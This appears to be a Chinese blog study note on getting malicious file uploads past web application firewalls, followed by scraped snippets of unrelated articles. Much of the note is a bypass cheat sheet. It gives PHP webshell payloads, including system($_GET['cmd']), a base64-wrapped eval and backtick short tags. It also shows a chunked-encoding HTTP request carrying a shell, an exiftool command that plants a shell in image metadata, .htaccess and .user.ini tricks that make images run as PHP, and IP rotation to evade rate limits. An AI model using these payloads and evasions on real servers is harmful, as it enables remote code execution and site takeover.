文件上传漏洞绕过WAF
文件上传漏洞绕过WAF学习笔记
1. WAF检测原理
WAF(Web应用防火墙)通过以下方式拦截文件上传攻击:
-
关键字匹配:检测文件名、内容中的敏感词(如
<?php、eval)。 -
扩展名黑名单:拦截
.php、.jsp等危险扩展名。 -
文件头验证:检查文件魔数(如
FFD8FF对应JPEG)。 -
流量特征分析:检测异常请求结构(如超长文件名、畸形HTTP包)。
2. 通用绕过技术
2.1 解析差异利用
-
大小写混合:
sHell.PhP、.Php(部分WAF未统一大小写)。 -
特殊字符插入:
-
分号截断(IIS):
shell.asp;.jpg→ 解析为.asp。 -
换行符插入:
filename="shell.p\nhp"(绕过正则匹配)。
-
-
扩展名混淆:
-
多重扩展名:
shell.php.jpg→ 结合解析漏洞(如Apache解析最后有效扩展名)。 -
非标准扩展名:
.php7、.phtml、.phar(需环境支持)。
-
2.2 编码混淆
-
URL编码:
-
shell.%70hp(%70=p)→ 部分WAF不解码检测。
-
-
Unicode编码:
-
shell.\u0070hp→ 转换为shell.php。
-
-
HTML实体编码:
-
文件名:
shell.#112;hp(#112;=p)。
-
-
Base64/Hex编码文件内容:
php
<?= eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>
2.3 分块传输(Chunked Encoding)
-
绕过原理:WAF可能不解析分块传输的文件内容。
-
示例:
http
POST /upload HTTP/1.1 Transfer-Encoding: chunked 7\r\n <?php \r\n 8\r\n system($_GET['cmd']);\r\n 0\r\n
-
工具:Burp Suite的
Chunked Coding Converter插件。
2.4 文件内容绕过
-
图片马注入:
-
在图片元数据中插入代码(Exif注释、IPTC字段)。
bash
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
-
-
短标签与动态调用:
php
<?= `$_GET[0]`?> # 短标签 <?php $_GET['a']($_GET['b']); ?> # 动态函数调用
-
代码碎片化:
php
<?php $a = "syste"; $b = "m"; $a.$b("id"); ?>
2.5 HTTP协议特性利用
-
参数污染:
http
POST /upload?filename=shell.jpg HTTP/1.1 Content-Disposition: form-data; name="file"; filename="shell.php"
-
部分WAF优先取URL参数中的文件名。
-
-
多文件上传绕过:
-
在多个文件字段中插入恶意文件,WAF可能只检测第一个。
-
3. 针对特定WAF的绕过
3.1 云WAF(如Cloudflare、阿里云)
-
缓存污染攻击:
-
上传合法文件触发缓存,再覆盖为恶意文件。
-
-
IP轮询绕过:
-
通过大量不同IP上传,绕过频率限制。
-
3.2 ModSecurity规则绕过
-
已知规则缺陷:
-
使用非常规扩展名:
.php%20(空格)、.php.(末尾点)。 -
利用正则回溯限制:构造超长文件名耗尽WAF计算资源。
-
4. 高级技巧
4.1 .htaccess/.user.ini覆盖
-
.htaccess(Apache):
复制
AddType application/x-httpd-php .jpg
-
.user.ini(PHP):
复制
auto_prepend_file=shell.jpg
4.2 分片上传绕过
-
上传文件分片后合并,绕过WAF对完整文件的检测。
4.3 0day漏洞利用
-
CVE-2023-XXXX:特定WAF未修复的解析漏洞(需持续跟踪)。
相关文章:
文件上传漏洞绕过WAF
文件上传漏洞绕过WAF学习笔记 1. WAF检测原理 WAF(Web应用防火墙)通过以下方式拦截文件上传攻击: 关键字匹配:检测文件名、内容中的敏感词(如<?php、eval)。 扩展名黑名单:拦截.php、.jsp…...
[含文档+PPT+源码等]精品基于Python实现的vue3+Django计算机课程资源平台
基于Python实现的Vue3Django计算机课程资源平台的背景,可以从以下几个方面进行阐述: 一、教育行业发展背景 1. 教育资源数字化趋势 随着信息技术的快速发展,教育资源的数字化已成为不可逆转的趋势。计算机课程资源作为教育领域的重要组成部…...
Qt 开源音视频框架模块之QtAV播放器实践
Qt 开源音视频框架模块QtAV播放器实践 1 摘要 QtAV是一个基于Qt的多媒体框架,旨在简化音视频播放和处理。它是一个跨平台的库,支持多种音视频格式,并提供了一个简单易用的API来集成音视频功能。QtAV的设计目标是为Qt应用程序提供强大的音视…...
【前端】XML,XPATH,与HTML的关系
XML与HTML关系 XML(可扩展标记语言)和 HTML(超文本标记语言)是两种常见的标记语言,但它们有不同的目的和用途。它们都使用类似的标记结构(标签),但在设计上存在一些关键的差异。 XML…...
ubuntu服务器安装VASP.6.4.3
ubuntu服务器安装VASP.6.4.3 1 安装Intel OneAPI Base Toolkit和Intel OneAPI HPC Toolkit1.1 更新并安装环境变量1.2 下载Intel OneAPI Base Toolkit和Intel OneAPI HPC Toolkit安装包1.3 安装 Intel OneAPI Base Toolkit1.4 安装 Intel OneAPI HPC Toolkit1.5 添加并激活环境…...
市场加速下跌,但监管「坚冰」正在消融
作者:Techub 热点速递 撰文:Yangz,Techub News 与近日气温逐步回暖不同,自 2 月 25 日比特币跌破 9 万美元以来,加密货币市场行情一路下滑。今日 10 时 50 分左右,比特币更是跌破 8 万美元大关,…...
7.2 - 定时器之计算脉冲宽度实验
文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验任务是通过CPU私有定时器来计算按键按下的时间长短。 2 系统框图 参见7.1。 3 软件设计 注意事项: 定时器是递减计数的,需要考虑StartCount<EndCount的情况。 /***********…...
Imagination DXTP GPU IP:加速游戏AI应用,全天候畅玩无阻
日前,Imagination 推出了最新产品——Imagination DXTP GPU IP,在智能手机和其他功耗受限设备上加速图形和AI工作负载时,保证全天候的电池续航。它是我们最新D系列GPU的最终产品,集成了自2022年发布以来引入的一系列功能ÿ…...
关于流水线的理解
还是不太理解,我之前一直以为,对axis总线,每一级的寄存器就像fifo一样,一级一级的分级存储最后一级需要的数据。(现在看来,我这个理解应该也是没有问题的) 如下图,一开始是在解析axi…...
采样算法二:去噪扩散隐式模型(DDIM)采样算法详解教程
参考 https://arxiv.org/pdf/2010.02502 一、背景与动机 去噪扩散隐式模型(DDIM) 是对DDPM的改进,旨在加速采样过程同时保持生成质量。DDPM虽然生成效果优异,但其采样需迭代数百至数千次,效率较低。DDIM通过以下关键…...
北京大学DeepSeek提示词工程与落地场景(PDF无套路免费下载)
近年来,大模型技术飞速发展,但许多用户发现:即使使用同一款 AI 工具,效果也可能天差地别——有人能用 AI 快速生成精准方案,有人却只能得到笼统回答。这背后的关键差异,在于提示词工程的应用能力。 北京大…...
Hutool - POI:让 Excel 与 Word 操作变得轻而易举
各位开发者们,在日常的 Java 开发工作里,处理 Excel 和 Word 文件是相当常见的需求。无论是从 Excel 里读取数据进行分析,还是将数据写入 Excel 生成报表,亦或是对 Word 文档进行内容编辑,传统的 Apache POI 库虽然功能…...
IDEAPyCharm安装ProxyAI(CodeGPT)插件连接DeepSeek-R1教程
背景:最近DeepSeek比较火嘛,然后在githup上也看到了GitHub Copilot,就想着现在AI的准确率已经可以提高工作效率了。所以从网上找了一些编程插件,发现Proxy支持的模型比较多,通用性和适配性比较好。所以本文记录一下pro…...
Iceberg Catalog
使用限制 支持 Iceberg V1/V2 表格式。支持 Position Delete。2.1.3 版本开始支持 Equality Delete。支持 Parquet 文件格式2.1.3 版本开始支持 ORC 文件格式。 创建 Catalog 基于 Hive Metastore 创建 Catalog 和 Hive Catalog 基本一致,这里仅给出简单示…...
2025年2月个人工作生活总结
本文为 2025年2月工作生活总结。 工作记录 AI浪潮 AI非常火,春节至今,到处充斥着大量和AI、DeepSeek有关的新闻。领导也一再强调要用AI,甚至纳入到新一年的考核里。再往上,大领导开会的新闻稿里也作出要求,不能停下脚…...
vscode java环境中文乱码的问题
先说我的结论: 由于我的系统是windows的,所以vscode使用的是默认gbk的编码进行的。 但是我的目的是全部都使用utf-8,因为我的程序始终是要去linux上去运行的,总不能在本地是好的,然后到服务器上就不行了吧,…...
Java数据结构第十五期:走进二叉树的奇妙世界(四)
专栏:Java数据结构秘籍 个人主页:手握风云 目录 一、二叉树OJ练习题(续) 1.1. 二叉树的层序遍历 1.2. 二叉树的最近公共祖先 1.3. 从前序与中序遍历序列构造二叉树 1.4. 从中序与后序遍历序列构造二叉树 1.5. 根据二叉树创建…...
【MySQL】CAST()在MySQL中的用法以及其他常用的数据类型转换函数
1. cast() CAST() 在 MySQL 中用于将一个表达式的类型转换为另一个类型。这在处理不同类型的数据时非常有用,比如将字符串转换为数字,或者将浮点数转换为整数等。 1.1 CAST() 函数的基本语法 CAST() 函数的基本语法如下: CAST(expression…...
使用Truffle、Ganache、MetaMask、Vue+Web3完成的一个简单区块链项目
文章目录 概要初始化Truffle项目创建编写合约编译合约配置Ganache修改truffle-config.js文件编写迁移文件部署合约使用Truffle 控制台使用MetaMask和VueWeb3与链交互 概要 使用Truffle、Ganache、MetaMask、VueWeb3完成的一个简单区块链项目。 初始化Truffle项目 安装好truf…...
初出茅庐的小李博客之按键驱动库使用
驱动库介绍 源码地址:https://github.com/jiejieTop/ButtonDrive 使用只需3步,创建按键,按键事件与回调处理函数链接映射,周期检查按键,支持单双击、连按、长按;采用回调处理按键事件(自定义消…...
从披萨到知识图谱:避开OWL本体建模的3个新手常见坑(Protege避坑指南)
从披萨到知识图谱:避开OWL本体建模的3个新手常见坑(Protege避坑指南) 本体建模是构建知识图谱的核心环节,而OWL(Web Ontology Language)作为W3C推荐的标准本体描述语言,在语义网和知识工程领域扮…...
2026实测:宁波初一数学小升初本土品牌深度拆解
在宁波,几乎每一位小升初、中考、高考的家长都绕不开一个共同情绪——焦虑。镇海、海曙、鄞州等教育强区的竞争热度连年不减,优质初中与重点高中的入学门槛水涨船高,而面对纷至沓来的教培选择,家长们却常常陷入两难:全…...
西门子S7-1200 PLC编程避坑指南:从振荡电路到浮点数计算,新手最易犯的5个错误
西门子S7-1200 PLC编程实战避坑手册:从逻辑陷阱到数据精度的深度解析 在工业自动化领域,PLC编程就像是在钢丝上跳舞——一步错可能导致整个产线瘫痪。作为西门子S7-1200的资深用户,我见过太多初学者在相同的地方跌倒。这篇文章不会给你教科书…...
【Appium 系列】第20节-测试项目结构设计 — 从脚本到工程
对应代码:配套代码/test/ 完整目录结构说明:本节讲解如何组织一个中大型 Appium 测试项目,从目录结构到文件职责,从脚本到工程的演进。这节讲什么测试项目从小到大会经历三个阶段:阶段 1:脚本阶段test_logi…...
避坑指南:S32K3 AUTOSAR环境安装后,如何验证MCAL配置与工程创建?
S32K3 AUTOSAR开发实战:从环境验收到MCAL配置全流程解析 当S32DS、EB tresos和RTD驱动安装完成后,许多开发者会陷入"工具链已就位,但不知从何入手"的困境。本文将带您跨越从环境安装到可编译工程的关键步骤,重点解决三个…...
博德之门3 2026最新免费下载 一键转存 永久更新 (看到速转存 资源随时走丢)
下载链接 电子角色扮演游戏的范式革新:博德之门3的技术架构与玩法机制剖析 在现代电子游戏工业中,古典角色扮演游戏(CRPG)曾因其高昂的学习门槛与繁复的规则体系,一度被视为分众市场的垂类产品。然而,2023…...
边缘AI落地实战:模型轻量化、硬件加速与端侧部署全链路解析
1. 项目概述:为什么“把AI带到边缘设备”不是一句口号,而是正在发生的产业迁移 “Bringing AI To Edge Devices”——这个标题乍看像科技发布会的PPT副标题,但在我过去十年跑遍深圳华强北模组厂、杭州海康产线、苏州工业视觉集成商和北京智能…...
终极指南:如何使用Play Integrity API检查器确保Android设备安全
终极指南:如何使用Play Integrity API检查器确保Android设备安全 【免费下载链接】play-integrity-checker-app Get info about your Device Integrity through the Play Intergrity API 项目地址: https://gitcode.com/gh_mirrors/pl/play-integrity-checker-app…...
终极MQTT客户端快速入门指南:5分钟掌握跨平台物联网通信
终极MQTT客户端快速入门指南:5分钟掌握跨平台物联网通信 【免费下载链接】mqttclient A high-performance, high-stability, cross-platform MQTT client, developed based on the socket API, can be used on embedded devices (FreeRTOS / LiteOS / RT-Thread / T…...
海思HS-Ultra 7L2D边缘AI工控机:99 TOPS算力如何赋能工业视觉与医疗?
1. 项目概述:当AI算力下沉到边缘,我们需要什么样的“工业大脑”?在工业自动化、机器视觉、智慧医疗这些领域摸爬滚打十几年,我亲眼见证了计算架构从集中式云端向边缘侧迁移的浪潮。早期,大家习惯于把海量的传感器数据、…...
